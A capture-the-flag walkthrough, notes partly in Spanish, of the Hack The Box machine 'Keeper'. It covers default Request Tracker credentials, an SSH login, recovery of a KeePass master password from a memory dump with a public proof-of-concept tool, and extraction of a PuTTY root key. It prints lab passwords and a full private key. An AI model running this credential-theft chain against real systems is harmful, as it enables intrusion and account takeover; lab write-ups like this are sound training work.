nmap

```
nmap -sC -sV keeper.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-18 15:54 CET
Nmap scan report for keeper.htb (10.10.11.227)
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds
```

/etc/hosts

vim /etc/hosts

#Add:
keeper.htb
tickets.keeper.htb

4.4.4+dfsg-2ubuntu1

#Vamos a http://tickets.keeper.htb/rt/NoAuth/Login.html
#Buscando por internet encontramos las credenciales por defecto
https://docs.bestpractical.com/rt/4.4.4/README.html
Configure the web server, as described in docs/web_deployment.pod,
and the email gateway, as described below.

NOTE: The default credentials for RT are:
User: root
Pass: password
Not changing the root password from the default is a SECURITY risk!

#Vamos a http://tickets.keeper.htb/rt/Admin/Users/
Select a user:

#	Name	Real Name	Email Address	Status
27	lnorgaard	Lise NÃ¸rgaard	lnorgaard@keeper.htb	Enabled
14	root	Enoch Root	root@localhost	Enabled

#Vamos al usuario lnorgaard

New user. Initial password set to Welcome2023!

#Let´s try to ssh.

ssh lnorgaard@keeper.htb
The authenticity of host 'keeper.htb (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'keeper.htb' (ED25519) to the list of known hosts.
lnorgaard@keeper.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Thu Jan 18 16:03:32 2024 from 10.10.16.56

priv_escalation

#En la sesión ssh

python3 -m http.server

wget http://10.10.11.227:8001/RT30000.zip
--2024-01-18 16:14:26-- http://10.10.11.227:8001/RT30000.zip
Connecting to 10.10.11.227:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 87391651 (83M) [application/zip]
Saving to: ‘RT30000.zip’

unzip RT30000.zip
Archive: RT30000.zip
  inflating: KeePassDumpFull.dmp
 extracting: passcodes.kdbx

#Vamso a utilizar keepass_password_dumper.

1. Install .NET (most major operating systems supported).
2. Clone the repository: `git clone https://github.com/vdohney/keepass-password-dumper` or download it from GitHub
3. Enter the project directory in your terminal (Powershell on Windows) `cd keepass-password-dumper`
4. `dotnet run PATH_TO_DUMP`

https://github.com/matro7sh/keepass-dump-masterkey.git

python3 poc.py -d KeePassDumpFull.dmp
2024-01-21 18:18:12,746 [.] [main] Opened KeePassDumpFull.dmp

```
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
```

```
user → root
password → rØdgrØd med flØde (INCORRECTA)
password → rødgrød med fløde (CORRECTA)
```

#Con ayuda de esta página conseguimos averiguar el caracter especial de la contraseña.
https://www.doc.ic.ac.uk/~svb/chars.html

kpcli --kdb passcodes.kdbx
Provide the master password: **********

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> dir
=== Groups ===
passcodes/
kpcli:/> cd passcodes/

apt-get install keepass2

→ Abrimos keepass y metemos la contreaseña, vemos en Network:

root:F4><3K0nd!

kpcli:/passcodes> dir

```
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
kpcli:/passcodes> cd Network/
kpcli:/passcodes/Network> dir
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show 0

Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
  URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
```

#Podemos ver com tenemos una contraseña de Putty

vim puttykey.ppk

```
Title: keeper.htb (Ticketing Server)
Uname: root
 Pass: F4><3K0nd!
  URL:
Notes: PuTTY-User-Key-File-3: ssh-rsa
       Encryption: none
       Comment: rsa-key-20230519
       Public-Lines: 6
       AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
       8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
       EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
       Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
       FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
       LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
       Private-Lines: 14
       AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
       oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3lYHe07psTuGgyYCSZWSGn8ZCih
       kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
       f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
       VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
       UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZlVagCge1Qq8iWs
       OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
       in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrlZ1r
       SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
       09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
       xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEld0G76VkA
       AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
       AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
       NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
       Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
```

#Convertimos la clave de Putty(.ppk) en una clave .pem
puttygen puttykey.ppk -O private-openssh -o pem_filme.pem

#Le damos permisos

chmod 600 pem_filme.pem

#Realizamos un ssh a root.

ssh -i pem_filme.pem root@keeper.htb
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

```
You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# whoami
root
```

creeds

lnorgaard:Welcome2023!
root:F4><3K0nd!